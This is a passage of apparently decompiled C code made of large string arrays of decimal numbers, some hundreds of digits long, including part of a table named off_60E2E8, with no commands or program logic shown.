"5039776814837063102870649511046342024394995586370144575674224649648860994183823400580455544295434337279232624458865632652409985414409806958927950697703669741360164302953387003376632121588849713355584988027898842385248388168511715152668295419176249044315099", "997", "274111", "997", "197770168183920893490702355213946062548862275593686785036823325489830493680361725109", "838241", "729779218390852005500746698206443035235654153482239059176469835755832080001334779", "997", "276149", "997", "235066939145603730138455797181895332556660643522557763976711397934654296027286248141866352067440614645980785211857345634122543197521067658886043737467928065242170439144153675267262025034856560884161819395341422586089798939047835618577282359011", "840283", "848617108828894332629804321956300839554731565063385429518813710955430671578650715313596938871626767675020885241362258606940589160725876024859363673169415397986174870556511463058707671605980364202750250524698276484078696530858612341434232343", "997", "282263", "997", "653856944817121418564574769158558214241652061694177451283815899696349734329343253379", "844367", "2326893042053812877454002737219068378084171038057571001010020995360675211136452859", "997", "286339", "997", "153750924705191331202642487855432301214999247349347135664932925672884382532572106143629862520851000964392448797347295129760339890447171549018979033727220079019470962832403597856104509630053226079444303822073464068832801004488749074363606794131843019", "846409", "543289486590782089055273808676439226908124548937622387508596910504891811069159385666536616681452300227535154760944505758870458976845129148476957716350600985934526370432521547194715581731636841270121214918987505543578802136002646905878469237214993", "997", "288377", "997", "9247489933034770345008842513605671240539329503796940360077790769034919055860192075961498268156080222753546521642413997960863602513249430650096399945058850657850730509948718278723816846696059730196008820021372108447626975263432296338773003684247622175988091632568335607339591109011826268182783373997524131", "856619", "31561399088855871484671817452579082732216141651184096792074371225375150361297583877001700573911536596428486421987761085190660759430885428839919453737402220675258465904261837128750228145720340376095593242393761462278590359260861079654515370935998710498252872466103534496039560099016471905060694109206567", "997", "298567", "997", "1717407504335870232912715929360339133649245648531977431437710884144242413898244908199676348333630782469611821101441951565524681310844200869852683280497944626558680801715390769378642397671865997499800973267974091300091032739882947247896538134151189417", "870913", "5594161251908372094178227782932700761072461395869633327158667375062678872632719570682984847992282679054110166454208311288354010784508797621669978112371155135370295771059904786249649503817153086318569945498286942345573396546849991035493609557495731", "997", "312833", "997", "186094640094728709905582884915209478720162295193640169865982338425202130855964448777365803096561599373266189003786443004976861963671620462507490499001087000062228617512324435299563374854468112230954656065794720439794736047301775255274615166365555906615082699", "874997", "598375048536105176545282588151798966945859470076013407929203660531196562237827809573523482625599997984778742777448369790922385735278522387483892279746260450360863721904580177812100883776424798170272205999339937105449312049201849695416769023683459506800909", "997", "316909", "997", "99031418963697124674853988324325827852540883371919853044916122582908820976031775150461062479829273919254632432784471230762209126862746456311631012017430778342731130579275835965526802369447102695762351319328603240840216102895901102277717945225511617318692885468391820057855359602494115072883", "877039", "316394309788169727395699643208708715183836688089200808450211254258494635706171805592527356165588734566308729817202783484863287945248391234222463297180290026654093068943373277845133553895997133213298247026608956041023054641839939623890472668452113793350456503093903578459601787867393338891", "997", "318947", "997", "42242760426214852365008492021688249001199142271915160025206075397415289834494590552596465606988123248212551380300285932126774225020692469707080058167842164648746139668051737622910245137506042977114350839236678790426338968454103079402971043834421080175047132836133633496964302426327", "881123", "133257919325598903359648239816051258678861647545473690931249449203202807048878834550777494028353701098462307193376296315857331940128367412325173685072057301731060377501740497233155347436927580369445901701062078203237662361053952931870571116196911924842419977401052471599256474531", "997", "323023", "997", "107307369572290541384475737454740253494018594946523953948261811827034605510928874078489851241855815524617369122814813937716249011703046172889308428655342212025001891566435646387451504158097825535109820621633632481094109611807638752054352547330203174484844484659", "895417", "324191448858883810829231835210695629891294848781039135795352905821856814232413516853443659340954125452016220914848380476484135987018266383351384980831849583157105412587418871261182792018422433640815168041189221997263171032651476592309222197372215028655119289", "997", "337289", "997", "55064612321770155133157362474829199989035428581948598172981940137568403555187622908028564874669701059511946421406182521933816203496055859680958661046865172951343822363678488724509509061180572829585917059572354958143854719027588481590624599078397653942081134186048842079801519289417050168490082593323", "899501", "163396475732255653214116802595932344181114031400440944133477567173793482359607189638066958085073296912498357333549503032444558467347346764631924810228086566621198285945633497698841273178577367446842483856297789193305206881387502912731823736137678498344454404112904575904455546852869585069703509179", "997", "343403", "997", "191910400529505153557224617029107865694106741205348818904526992376067891765008424641623636027152487218384283069648741467693297373871543851103342180022015891721139900840652679154541010152081242584577176398651308152433498225132989871250359174352180752175700889727556239511651", "901543", "553055909306931278262895149939792120155927208084578728831489891573682685201753385134362063478825611580358164465846517197963393008275342510384271412167192771530662538445684954335853055193317701972844888756920196404707487680498529888329565343954411389555333976160104436633", "997", "353593", "997", "195306582131271451009334326954770025184144851578630324452422872021506820732014956379715234978255404349682123138757786675633123282560391857045894094521929176524667838378563095623212129113112952618142325576737520038648102942539205523023679173996788382216711019", "905627", "559617713843184673379181452592464255541962325440201502729005363958472265707779244641017865267207462320006083492142655231040467858339231682079925772269138041617959422288146405797169424392873789736797494489219255125066197543092279435597934595979336338729831", "997", "355631", "997", "1215456615647736981075511688343015609651098104001912463828764256884376773285956483375387", "926047", "3443219874356195413811647842331488979181581031166890832376102710720614088628771907579", "997", "359707", "997", "152371024479309333613791270766813059934644240963510757940065726092042020167346294014239858246488261844181541553866797374541435361748272964733304606225836878830766560242205779764084434055945144673618075979996122754129399688334667194097420399639375481262924139926860301", "930131", "424431823062142990567663706871345570848591200455461721281520128390089192666702768841893755561248640234488973687651246168639095715176247812627589432383946737690157549421186016055945498763078397419548958161549088451613926708453111961274151531028901062013716267205739", "997", "365821", "997", "8805855872789019240710264044493313902829667579523595450483405927948456557973767381593768592699990307656047373848464298739897608488173415985344555327733960422040018571984480783688585363881034183770028635322562755061525965264076157536693656742309428857200200534740552445744340920479346348313632819317", "938299", "23994157691523213189946223554477694558118985230309524388238163291412688168865851176004819053678447704784870228469929969318522093973224566717560096260855477989209859869167522571358543225833880609727598461369380803982359578376229312089083533357791359283924252138257636091946433025829281603034421851", "997", "373973", "997", "1095376316278855322873293779067055170364191817021514439349116525031244403693815779672168678363649208457797649035029957775057822028226826207868697627085868397348111959279609148252080232892263125008811953482298559446432650497666173228960391046465035759461531583942148845722771586537518927520699", "948509", "2936665727289156361590599943879504478188181815071084287799240013488590894621490025930747126980292784069162597949141977949216681040822590369621173262964794630960085681714769834455979176654860924956600411480693188864430698385164003294799975995884814368529575292070104144028878248089863076463", "997", "380087", "997", "15369226844695333062849381477909582790193081087319522766401784914789199098254937701754942361481513813591507178592892064416009512989526432006888411812015707106697003660843933262218400518290304215112593252662042221838402637726323711885254485048250408355850463886893101619739", "956677", "40552049722151274572161956406093885989955359069444651098685448323982055668218832986160797787550168373592367225838765341467043569893209583131631693435397644080994732614363940005853299520554892388159876656100375255510297197167081033998032942079816380886148981231907919841", "997", "386201", "997", "17936335753803465319644606369717202510207061261553117383696431100566559448104053392344197", "960761", "46831163848050823288889311670279902115423136453141298651948906267797805347530165515259", "997", "390277", "997", "25893139746956375074671910466488819057973682757474498176744179853848279269471981476034178206434626829662341282305098421017615074690674938772214414369410376488767243876576772000943323646306806499600311513657727872637967224802501913807127372752863262895742486671", "966887", "66563341251815874227948355954984110688878361844407450325820513763106116373963962663326936263328089536407046998213620619582558032623843030262761990666864721050815536957780904886743762586906957582520081011973593502925365616458873814414209184454661344204993539", "997", "396391", "997", "73974572111317406360276225631919880970967230930546543997873687812509688512760842513788622380060283819337381239289168279398371925148558197982252822440463431991798888852483797550848552471579198228007110388157478970670518327902466795935796129943875075370218141183995374789284599233523734628628605149143767", "973013", "186333934789212610479285203103072748037700833578202881606734730006321633533402625979316429168917591484477030829443748814605470844202917375270158242923081692674556395094417626072666379021610071103292469491580551563401809390182536009913844156029912028640347962680089105262681610160009407125009080980211", "997", "404543", "997", "1307141793874862084461913041302240551365792174026016528279865697359005336719217669177196976468676813204191353984957820150881355004620906305582162121381248966040062853839635204011545101328676009151433346953408816476579132602933740590965014866256568699705065819", "987307", "3259705221633072529830207085541747010887262279366624758802657599399015802292313389469319143313408511731150508690667880675514601009029691535117611275264960015062500882393105246911583793837097279679384905120720240589972899259186385513628466000639822193778219", "997", "408619", "997", "7093242912463185348072070110212638351742462073193796871217834643050267179901187029507018490754437695656607535423037831588564687811978689937562105842348187968983989171429748478114974959055204956755248726089665726321535007236838047456328883300447788907493192538880498815296925888779", "991391", "17342892206511455618758117628881756361228513626390701396620622599144907530320750683391243253678331774221534316437745309507493124234666723563721530176890435131990193573177869139645415547812237058081292728825588572913288526251437768841879910270043493661352548994817845514173412931", "997", "416771", "997", "1185579641965561589160299697265721932824027132750467864460376877428924099444308658448594136390967744065181760700818974092571770178341715224937792646992702816801853703682587972668759794434610387225171807457005618044826070319744092967744160173564727037441446431202779572868249757967428377671066761", "997517", "2829545684882008566015035077006496259723215113962930464105911401978339139485223528516931113104934950036233319095033351056257208062868055429445805840078049682104662777285412822598472063089762260680600972451087393901732864724926236199866730724498155220623977162775130245508949303024888729525219", "997", "426961", "997", "169052738021865017945085217436498678340551974017269410534135929153837234291820715450799841864356228195340732263779", "1003643", "401550446607755387042957761131825839288722028544582922883933323405789155087460131712113638632675126354728580199", "997", "428999", "997", "89600456898162554710940038315160351182309734414129170687610033541862560707475499371198298316876962891405560250165152771675263407396177488042619118232855720276625778667788670057647578107276749358158513983871052535363437572582097937450349496907401800441822855338949217171751568948262972788043043591458773382280560737161315249005363622939", "1011811", "207889691179031449445336515812437009703734882631390187210232096384831927395534801325286074981153046151753040023585041233585297928993451248358745053904537634052496006189764895725400413241941413824033675136591769223581061653322733033527493032267753597312814049510323009679237978998289960065065066337491353555175314935409084104420797269", "997", "439189", "997", "433", "1013", "1019"};char *off_60E2E8[845] ={ "1994", "1009", "437683", "1009", "2991", "1009", "441671", "1009", "4985", "1009", "447653", "1009", "6979", "1009", "455629", "1009", "10967", "1009", "459617", "1009", "12961", "1009", "461611", "1009", "16949", "1009", "465599", "1009", "18943", "1009", "477563", "1009", "22931", "1009", "485539", "1009", "28913", "1009", "489527", "1009", "30907", "1009", "497503", "1009", "36889", "1009", "501491", "1009", "40877", "1009", "507473", "1009", "42871", "1009", "519437", "1009", "46859", "1009", "521431", "1009", "52841", "1009", "539377", "1009", "58823", "1009", "545359", "1009", "60817", "1009", "555329", "1009", "66799", "1009", "561311", "1009", "70787", "1009", "567293", "1009", "72781", "1009", "569287", "1009", "78763", "1009", "575269", "1009", "82751", "1009", "585239", "1009", "88733", "1009", "591221", "1009", "96709", "1009", "597203", "1009", "100697", "1009", "599197", "1009", "102691", "1009", "605179", "1009", "106679", "1009", "611161", "1009", "108673", "1009", "615149", "1009", "112661", "1009", "617143", "1009", "126619", "1009", "629107", "1009", "130607", "1009", "639077", "1009", "136589", "1009", "641071", "1009", "138583", "1009", "645059", "1009", "148553", "1009", "651041", "1009", "150547", "1009", "657023", "1009", "156529", "1009", "659017", "1009", "162511", "1009", "670981", "1009", "166499", "1009", "674969", "1009", "172481", "1009", "680951", "1009", "178463", "1009", "688927", "1009", "180457", "1009", "698897", "1009", "190427", "1009", "706873", "1009", "192421", "1009", "716843", "1009", "196409", "1009", "724819", "1009", "198403", "1009", "730801", "1009", "210367", "1009", "736783", "1009", "222331", "1009", "740771", "1009", "226319", "1009", "748747", "1009", "228313", "1009", "754729", "1009", "232301", "1009", "758717", "1009", "238283", "1009", "766693", "1009", "240277", "1009", "770681", "1009", "250247", "1009", "784639", "1009", "256229", "1009", "794609", "1009", "262211", "1009", "806573", "1009", "268193", "1009", "808567", "1009", "270187", "1009", "818537", "1009", "276169", "1009", "820531", "1009", "280157", "1009", "824519", "1009", "282151", "1009", "826513", "1009", "292121", "1009", "836483", "1009", "306079", "1009", "850441", "1009", "310067", "1009", "854429", "1009", "312061", "1009", "856423", "1009", "316049", "1009", "860411", "1009", "330007", "1009", "874369", "1009", "335989", "1009", "878357", "1009", "345959", "1009", "880351", "1009", "347953", "1009", "884339", "1009", "351941", "1009", "904279", "1009", "357923", "1009", "908267", "1009", "365899", "1009", "916243", "1009", "371881", "1009", "926213", "1009", "377863", "1009", "934189", "1009", "381851", "1009", "938177", "1009", "387833", "1009", "944159", "1009", "395809", "1009", "950141", "1009", "399797", "1009", "964099", "1009", "407773", "1009", "968087", "1009", "417743", "1009", "974069", "1009", "419737", "1009", "980051", "1009", "429707", "1009", "988027", "1009", "431701", "997", "1009", "628342186020279030208477196652234251466546172127229920271442149116418270266805114129323801879492482137898525457610034761318243685701612999753301446499402184019047334363868952491996606714667813682795710496729144356627735845123676166105603998123636223487640503561426022924983170637012661801780667366986496506030776535567526896671098662632123365168743664803047333533266651378724651134747558720373671125128918192606546275484822315302537833017347515852873969123863196991591128905797797953641849823901200591253758989661116185809449387114754110693862270878790685521494032855174559448217678703819332109924602615048084195117590112536399286371826740412069584415578436175604905487388386875110557418165843986191168930994241095051887359640391104091658653518621901534663248053930033780121015835031607604047633957687509170016778799461147891167654749638057549827992932889122995155539900942798016011513799665913318026811781018347609393399492693089473128154346668249800406988857586278307546023464942900979079319193897231953014331315745983540688409217523781284767071786748835334904114251151768066947066974655638700742353772603987770915012114230380632982060506677995390598274839813186589487880327769882355406369328704667144104785532210079866539787033200765829359931127219031553817186725838729517291842565585345287913859037622248318083084610913049915914358110409209100852502593148685289707303219729372851454213282755549475037954209582986949880668930047153621586488494270546617243702586105425080170041634818438278320529852112847863734593944644022898353545446882029646417103689943919192691294079623058308937404741503543204905870498980563398747865075941095954326295793595346961572874520213826034401809759600671385592618044358788220764179037648551723688883462655964529249402109637617708231973919514209153002131026182417912198411370401495384651131774509722038523496382808921942374492604612687129063485332311030348703446367201242825533393540915424705051574412572120162877997562692412185247999611773833311632900771473429755915441182540269617877214830627528032509574263455045777758312790203647404347503161728097958892560903112974915627570659454527665768438056409725068410760146580760573561825743041360562327507023011036093343294488329397226160195885463366678787014633928020875226483619664858890687676379225725094561398719056931046049652997474332655225198880371911150572119222293804816869964938939569929273415161422698066449231388944785154171990521448471715053090799940542872248125377623217571815993265916187470537162268436325773823823025764997980088398890569841898462161853267169228882950197460075182837289919940982931539635781819167833327053366074466169096663110752528063831392419664656628996209161385538062512860770349218644155662924022242464260618852724359227862586009757511987837154780681347585339557128064674324666633148721900366457274096873746373036267539915146015258255209166409983804123119669569892997296082665906047894529706757974988307364081640652759420620606279591460036311764255114156837496511088449627305129870293650489346534475746640218520980739890581556540008279019229663760636485837245208764597357678419738833265275277731038701789683747837440024384633103957164283508891650623445519394459252271959449686279179444136374415706603701561041515600084286014592770962766546924881353153028839585503598573550964862568899783340905087121767189848319028823764126564635152182745746588976064614585513882178320384662630419491983556919743035918979272357120571425297548004511661675273618557126654548778343459193970691487722304790664607581194061709590959173879314951330697843870052828316024354166567082187518547658698577696795531130565515421083180252264454883596870044949725930149179966847413679961101162747165984569728196830920577134702664306366364197595517421138209600525104047202300339400088872288316077221656240102231143786257343020802118922926269205047219736723123445530507690137692235730009368553776231094320766355040830168009092017813288396850664476916182018546812944453888512931302160127019704913501725813307841245312731953948196722380163601568492780144962109057602369074555334991621987390374358769710617552391326453785020526405147640026146312997938788804138998232289707025657098750218408744926601492274136339769211112547916354899730071425547372588105403900685731200370521951579349841013973635462586811702994385448941952099615457769200940648360138128946530932948358590141678294540263461985603817191898095061752838756758169435695558894946752558724707225186802024978616855725317670898178008742128975014258782925817349723286317727283132139495271815132726481668557882676887050885378442098538933512778731774361164801103687075162670233525972446022073437141634190995911089958638936702125877258733854190658955211486896795807799247056213685696237168010636560453178295430632262922179196184338010387026042081248735157060332183087380384908870579342268028791502144475517809808520966859616554102946100611417937595977703395161367239525150406899496101767146677522362467244175944639777276553647414851795784699778438111349113652477278343467027323819397269455041625832813112347020033822455376729028165116279358528229084987521170918228041096904599804373545811652965962629163714889427307592378384787948608392935161760512373031943294253135653945376467534645062128214176859177671917924470733170543663095164294078188577644263829357684653992808048115290898706559292435665031983147770618047696164278180114571883909560849919923071788171847093498306550580036114960340160679659003480666374351890273587413582104233093778316851445659944947034432138454639433320133679779403332875832288448336528056715331939264128997610951123085318980941191657450923186786281447594211168439296167068599875424211947381124503574287428653464197183586766917064698969607222676938892700337244499023740021533322407975632591913985176741704511237708175586215484912007730703539347900914569981861379239832893109915816827892646998809604355655684309972455745534857625387871413240766757912260561276872396077870424036155192914575494839379065148798577492895218102356645374808828351190560242930341412752377938339484272418298446253783645567893675139638014454360329933950740656010948440208956227962611495754650589391649847173952559561706238119700416870351183225680846641395695009002342404433610812356666485300887852999615689594544734258696785715335953720841080346734273745462225722854716944440612200907986986761974645226700321349237318729650027840661849263165071729001132412715683532938282372956492101123225224688540919293418074389951077117059370386174729181602053802620109858124680047124580359410149534093848987322604588465223269320290130009628419324527856018953957600035078765304742008540572117322791116024555796432461153651126300748828389259598990206877366444955852954604969428779178082528034059004222296475937635225715400197410351141529356047922229074568209997829979346838932511651507196184691420815697818582222639999405831514378102612043068259534775279462337493896484375000000000000000000000000000000000000000000000000000000000000000000000000000000", "997", "5020973558043690795472466436617612912981186347488363636494918897580345094619354831599150783154458643768824774086684855736649234567349871237720799314877192413924062850078649636850002055053944829186672671708163716322615209049354719596052941417213532076312584086034682854165737646092676148538845676199745010081171006469722614059402250242308785689918241284131648855341488804135227553569275395839797208481228297968911162075439845594462320763237357071166784713446778736264921216635219120279353441051381445681864657026276821922514536569544725327622938331970575312038054498527495497627987060787647164378259819498672242544076388147523885345280342831806880870923391335094231290063505894883622740743763068210341558532266730092057471805710970239830698232092553019009302257534520260356188869212033343552453220921330349478151838282759011653076078016714211215874482198987741235273840751410610227050746299055028652883630584960936757395646616847713407087225242767250411952408673845861387774237778205037416623206011306490376976238654472840823151891585075016585390922891098308045393593571415253634799881795632166478595261694471140226795538975637348108530604584641278570409344858021708185167591243455235623668321570654443319286878417340676933354064642723586253821998813504508098460362918587904912942418728303547539706696690550986778207008561820335924406226344605013700816659534219628975931010285852931303562594784807047348570737396800467230532753148948447635460563997386651374238754668022458990241654392066026389403056595070158613582087349737094737658808886315648062674551872063472621765109045797432205715733767132011793304312274933554077784748964538523889920306652843830639205498914392896052991230020283366189067754757119427529149351327101078032307908260603623126125800088927147739506163527183895257938715531016954102699245294031066253590763425350011991169491433278653398617395440744762010472263802586218941241055055743015914720823242262689467262506542601425806024500357983702028225857710867057862345336237222517523041907324188469202303664776657176177623265573649232807583121306909916426816016755317491385615404780845499430052098612881460431944822161954276179349694442740819075713633944412726802575579188952121635648787756123395044724581329422707259129800369169535652642639801159987649031332406466937818074557103914266685904770137348134689897321542175254693720185576746443281607586987415388428553993232704096407666570219410589863873312494539460705640975599199448114612634267109102407317730904132567388335904394477797328315856196208327128937370947369504646584356343462801435206697336876183024095674551448335131879630403438713907124638478413853269148185567784954639444384365569717712309310955147830166043443238005822635747057545664360288684594697328877448799025973804079099439380682972847878899045536018223183365782765974974091131423937943531681735723827404656800066615668567805386492162335823765656414065284523264752292185725090814264699334921326855584899083371098784162003309739906310772506255393733874274017314112532904577039191591007997878380622798755534627692925758417448816637818373973221551606967096451086316437822279771077272376148121571163290736638931514234910318028624294165025145259063674698090046911948075952284431571943853982442651363186672689212765267770285908709835564485153350230618682629074091170797310328555429502555362409867954701387470139759267436167728204441560324447484705204937156843869157813675957725786241495777896024839838398414785265343398641920748711625568412042688914128968190201059965530908706732754193849067931364670270274047648481440681370096814642988815043774848838838626624938922121096710544680023288597319646570406408354982897201465676769575294628096694930977248824011077321485418818924406431852258175057513393216350344049082542468361410424350720060469598506634455467477484979788747749796354609315723688211379376475460277770530264522516753753687913348610617627180044792600195906279194933087464933773782907713330404447333076666728339988449815215434318007623282986066831788891581783579614726180929544276009541965962239461776447541627074351182275490323828208628197483439346482508248446963369489796326385731064053724062808612872776418445167164620078205714184802118485145759294486622205254314132962840493288591203480571662819511051274785273705020148845879775227997407048971388002158100936213131756838746879763532259763345808459116288029766085022119913164248480557500068314593231088987160279569530688677315004982622289441794353406429725797216878712063025668632142903490923190360349140006080712281827399665057312208935502000825739775748382409547767113303970336836210669133926895235962501629552040586816345650814016614025782130788916609032745001899785992601494105680942665185307812466814213377653431289952318114685582720572586088812989364579521550555538171289271181678410758350157911033362222192696775165760690677062098520936755788225598782659548261103482659701827359313630846363889110910616705120073617014817614569968408898086698115057255739332773912661929818195363021921324903304920137570439912113419361155599656792846430129297557180197243737754764342250277820536833873850512952381832218723730563316514909646802035262898179819524477957536959221311168489498330910004725990255589480473575235173541252809932701389183846177964235287033830925857819001160586184156930429524672516539501165080375924833291345560537459192125694725922302068041992414208055805065909773572571976130403681164189313519334650691350894602614796418772828939871059035015115580766571764509536576557130464695399374994550899074089674240089589432866719236464202233403294885582612550745275632442296172192623564576641486142828317213702576891904379598321939228709403256536312047969623685194330246456663079749586499084220375579316652507872292946875012466482824470432774707250524489619450216896375750616444251664515756466570884810083576309586519141251515118124071845062312157097256288192961806792066900270500521144047770243562264487965415262662776051613168034656779642758114200039168472440692230333077279334828068865916779206390832407497613723856853959754467657674563538356200113237531415811715639082774172579453150559544048837197565500009080784265163136751719074454322189938394735894637025740187989314178929192969601790353384766140549815636197188798439691133630864251539048445431466504628211935886080852752935630094058548912025946009818396075472885206608300233436748206662616807944144796532094594620433469104447555629020079624892194386879122958004893129494842096402682811580537753137281234266545777016470955138841847355634423380012680312487848379430425081882125872830213363022475922799999654579438370854572957242484172090786677950121432476319475502042779427036319762004097420400844853692174042251171285933661004386621015926998839941599937383368984020896260270592470934269224540700618758089646022331731630333468362387499863220719689333769720594951447656934220607389756444636956576624383813057790571838503297531863499031792359610404317936111291681774481991887238261842808901836334223213707711107364485905291532705821130807123125454420222217016446133202332841807820589616482431348754917145101606467632094604680353363557871712551081392926909985237301152861238448196740016300218475973366025567832749173016062387042861194087419952458165039784986962997512974528829545248332349853718708838814455644705761832485931700173130071897488979237327246760914209146081519385108482784142154660288373455889906583829801152124158506717738674619195960806284400917112864093439783694796630478012378864676928266821333294750308467294460965175361532830951966724506606586746876954737693583126883851147396217944080036427834332965580301642572700340135310646747719129141401437460780643498914539005330191345728255970110381137385266964222518724087095866095862614718716057244839384375250846048030470719467935727917893539564429681478585454577297831321858756129328359401791440618517519405327157366260531819490852031046823010869408062657846696435219976461406268554894567770971764444584971135801033696477178443244408796389792415991584094216896934420766505635365939320304110028135204359699782309572808211604994257856468898963160670508388545426450891965355149110111299200922903858711721574257678665591805489566917051248264400361657973441314647767689458266932904273127096255063678875054002411113587425151644025362144946685722667666911552246977486100064975984657109331523076430943145383842843621837003905509584456012817099690437316894531250000000000000000000000000000000000000000000000000000000000000000000", "36245651685809845304492628113575794772175397649419099113249877307900325591212664159525112257976186262177576925165788428184727502868295212091525088936946409650133956767734324927766246011976989507374907377126249628035718622112298251507273187", "997", "1013", "1019", "1021", "997", "76993463136706695564099584", "448219", "38496731568353347782049792", "997", "2038", "997", "2550715459588113191740567853821480131", "452303", "850238486529371063913522617940493377", "997", "3057", "997", "823141644718296094427700641815714988069885293953120708465576171875", "458429", "164628328943659218885540128363142997613977058790624141693115234375", "997", "5095", "997", "631438627444550736415080642521598404068584545931170399811149426440245178848956151040482280551968904085414619", "466597", "90205518206364390916440091788799772009797792275881485687307060920035025549850878720068897221709843440773517", "997", "7133", "997", "5073109956636842437922137917951595815016016809", "470681", "461191814239712948902012537995599619546910619", "997", "11209", "997", "438913347985031337591501224029935452069274872286254190655683643165087965696023", "472723", "33762565229617795199346248002302727082251913252788783896591049474237535822771", "997", "13247", "997", "1327219005770146547008686156809262336252304098712358296185474497662899493331386682893480798625505521976657389795886656059621285172228153327439765792208091", "476807", "78071706221773326294628597459368372720723770512491664481498499862523499607728628405498870507382677763332787635052156238801252068954597254555280340718123", "997", "17323", "997", "1610805172267842357617095639683797092166770721", "489059", "84779219593044334611426086299147215377198459", "997", "19361", "997", "2139592160996833904444519196048266285572585258708462244562014613878578784718122611950631792346783335492062143279594557904625677746393365345309654855942839875030957", "497227", "93025746130297126280196486784707229807503706900367923676609331038199077596440113563070947493338405890959223620851937300201116423756233275883028471997514777175259", "997", "23437", "997", "3630479287668869549750268730991097182488777024603224804293163934532866119354925487660843942045312796152147554107969601026775451735159578840647282686001322831", "501311", "125188940954098949991388576930727489051337138779421544975626342570098831701893982333132549725700441246625777727861020725061222473626192373815423540896597339", "997", "29551", "997", "133988324106187784280288196620247367470528903233752384280195808358192193530364030141478616319286544825474620032432885193545948964662015331837905297972451259", "509479", "4322204003425412396138328923233786047436416233346851105812768011554586888076259036821890849009243381466923226852673715920837063376194042962513074128143589", "997", "31589", "997", "5738931991401785278290295421593851207075494906229631943", "513563", "155106270037886088602440416799833816407445808276476539", "997", "37703", "997", "34852745127404453271355467204505037583904157560232023595243138842012775445916534653451148210482054873983793399474308536689963560530019612055489851743503416053101848051770672331302987621294126588219", "519689", "850066954326937884667206517183049697168394086834927404762027776634457937705281333011003614889806216438629107304251427724145452695854136879402191505939107708612240196384650544665926527348637233859", "997", "41779", "997", "12248497864385846776394397892390056468417217564487186546243452016977586379266627254227299054926635541031409485825456387995220131626108414165879951336719480556031331", "531941", "284848787543856901776613904474187359730632966615981082470777953883199683238758773354123233835503152117009522926173404371981863526188567771299533752016732105954217", "997", "43817", "997", "1009515176242195759436333727151660084423170233448167305610109739888867033605693921607825857499212362037761794631882229647666556510526199774621660504072978457006363045937600675597892161507028576725666537473371", "533983", "21479046303025441690134760152162980519641919860599304374683185955082277310759445140592039521259837490165144566635792120163118223628217016481311925618574009723539639275268099480806216202277203760120564627093", "997", "47893", "997", "398646830977963183322447766593140434683576908048526864634254825288673604304004967", "552361", "7521638320338927987215995596096989333652394491481638955363298590352332156679339", "997", "54007", "997", "27944128401974460395330123754686275388009856688602196578125401", "558487", "473629294948719667717459724655699582847624689637325365730939", "997", "60121", "997", "77940803786893016647539322934964966025718379100488200464157090690974981385586170948362089960785846708669816939830504157041168608009049605052660003972843137251140280478249968574051330621847204291870411456652836799", "568697", "1277718094867098633566218408769917475831448837712921319084542470343852153862068376202657212471899126371636343275909904213789649311623764017256721376603985856576070171774589648754939846259790234292957564863161259", "997", "62159", "997", "557222273128694516674162426702913777225589943389658106186243857297684547349274454742677626685673955962922402597754341425208664507439159276967833017800342899319139904259010271667792380324047918033", "574823", "8316750345204395771256155622431548913814775274472509047555878467129620109690663503622054129636924715864513471608273752615054694140882974283101985340303625362972237377000153308474513139164894299", "997", "68273", "997", "17440508702575850052896911458212242773207097595049949521684725971965638090857668453673550447629042635774807276483992681915852975891558766105215085808976020372544754224990747638780047860989301211703499", "580949", "245640967641913381026717062791721729200099966127464077770207408055854057617713640192585217572240037123588834880056234956561309519599419240918522335337690427782320482042123206180000674098440862136669", "997", "72349", "997", "1424380298289275705894559600755711170503199000303179135694877603277659422923208851946781214320169642370322910276576643316546509039955592318643318520069355214503644382280559886430362113741588407066504267684585657137741659", "582991", "19512058880675009669788487681585084527441082195933960762943528812022731820865874684202482387947529347538670003788721141322554918355556059159497513973552811157584169620281642279867974160843676809130195447734050097777283", "997", "74387", "997", "426450076438797242652822176973974841347834224968515749390409652341", "589117", "5398102233402496742440787050303479004402964873019186701144425979", "997", "80501", "997", "824106655669782210425565987496491762126702214637601168400484229048639977197249286980373617053059742599416312068799210836902298656937345312575927639796580262327402995651567079800656463080089983019", "599327", "9928995851443159161753807078270985085863882104067483956632340109019758761412642011811730325940478826498991711672279648637377092252257172440673826985500967015992807176524904575911523651567349193", "997", "84577", "997", "4944528468545255770865574380114221190998471661157926844550406264799390854466449317327746143102114005846689827694830766828943828956818930311295208977848091145573604349436839941159175394504050467760661318694531", "605453", "55556499646575907537815442473193496528072715293909290388206811964038099488387070981210630821372067481423481210054278278976896954570999216980845044694922372422175329768953257765833431398921915368097318187579", "997", "90691", "997", "514996339419582002586289324658434030355366668863920078962167376692296652132613308797333141596921224150313108804994586497792307478786701439693069492499380684727657941859765639397142855552266467039291", "611579", "5309240612573010335941127058334371446962542977978557515073890481363883011676425863890032387597126022168176379432933881420539252358625788038072881365972996749769669503708924117496318098476973887003", "997", "98843", "997", "301442113655254712905909901926689012451481130124254792162323448571207614502495384196126869113454266413263841134002419787734946904753889329810749588333759276172364193230338694508431109559638625045463746364341506749635448119", "613621", "2984575382725294187187226751749396162885951783408463288735875728427798163391043407882444248648062043695681595386162572155791553512414745839710391963700586892795685081488501925826050589699392327182809369943975314352826219", "997", "102919", "997", "2555239879563593045696761114418609456507282255603548227099728781334221193057686271515208071736549649604470137028762071704870151737556338573583097780176553033728339957624547890696818131074248336445137980275782255127376514077", "619747", "24808154170520320832007389460374849092303711219451924534948823119749720320948410403060272541131549996159904242997690016552137395510255714306632017283267505181828543277908231948512797389070372198496485245395944224537636059", "997", "104957", "997", "1012323941142663752943575066252780797696120427731616910828998531998548452296595951381134724249072458579321607158097952811936582645824027310322752213386853835911703333296464759502534737503217216491270980521356531", "625873", "9460971412548259373304439871521315866318882502164644026439238616808864040155102349356399292047406154946930908019607035625575538746018946825446282368101437718800965731742661303762006892553431929824962434779033", "997", "109033", "997", "14538361229487745257682170457856734814405959216469425962052011400576054111276050364279603615018009986387137829571146551766463482651444282213513369961768211142997430772394358145784688162016585046608655019700504896800057220809286471", "629957", "133379460820988488602588719796850778113816139600636935431669829363083065241064682241097280871724862260432457152028867447398747547260956717555168531759341386633003952040315212346648515247858578409253715777068852264220708447791619", "997", "111071", "997", "3375454873554339821014112396646130304474852067498624799546619899489477269929546975713496262833655453356344306236948923050310411808869829632508321207505306583328796000277316597491734113305075324587336522411370280436859", "631999", "29871282066852564787735507934921507119246478473439157518111680526455551061323424563836250113572172153595967311831406398675313378839556014446976293871728376843617663719268288473378177993850224111392358605410356464043", "997", "115147", "997", "39459694765875470141576638079098465499479668623064100064810566131731733407973558410719836295273087266359541647498772639126368333953423358659625851571582603515211711056260787965851889797806599055825412860621841289331451", "644251", "310706257999019449933674315583452484247871406480819685549689497100249869354122507171022333033646356428027886988179312119105262472074199674485242925760492941064659142175281795006707793683516527998625298115132608577413", "997", "129413", "997", 